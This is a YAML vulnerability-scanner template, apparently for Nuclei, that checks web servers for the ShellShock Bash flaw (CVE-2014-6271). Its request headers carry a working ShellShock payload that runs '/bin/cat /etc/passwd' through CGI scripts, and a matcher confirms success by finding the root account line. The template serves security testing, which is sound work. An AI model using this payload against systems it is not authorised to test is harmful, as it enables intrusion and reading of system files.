61 lines
2.3 KiB
YAML
61 lines
2.3 KiB
YAML
id: CVE-2014-6271
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info:
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name: ShellShock - Remote Code Execution
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author: pentest_swissky,0xelkomy
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severity: critical
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description: GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock.
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remediation: |
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Apply the necessary patches and updates provided by the vendor to fix the vulnerability.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2014-6271
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- https://nvd.nist.gov/vuln/detail/CVE-2014-7169
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- http://www.kb.cert.org/vuls/id/252743
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- http://www.us-cert.gov/ncas/alerts/TA14-268A
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- http://advisories.mageia.org/MGASA-2014-0388.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2014-6271
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cwe-id: CWE-78
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epss-score: 0.97568
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epss-percentile: 0.99999
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cpe: cpe:2.3:a:gnu:bash:1.14.0:*:*:*:*:*:*:*
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metadata:
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max-request: 8
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vendor: gnu
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product: bash
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tags: cve,cve2014,rce,shellshock,kev
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http:
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- method: GET
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path:
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- "{{BaseURL}}"
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- "{{BaseURL}}/cgi-bin/status"
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- "{{BaseURL}}/cgi-bin/stats"
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- "{{BaseURL}}/cgi-bin/test"
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- "{{BaseURL}}/cgi-bin/status/status.cgi"
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- "{{BaseURL}}/test.cgi"
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- "{{BaseURL}}/debug.cgi"
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- "{{BaseURL}}/cgi-bin/test-cgi"
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stop-at-first-match: true
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headers:
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Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
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Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
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Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100905417655165e8dc92e2cab39b3212b13f5bd0dd4864fad81c02500c763d6727022100b6da6599908c5b98cc3e36de217576a6163f10947e4bdf4b89a075ea87b15ce4:922c64590222798bb761d5b6d8e72950
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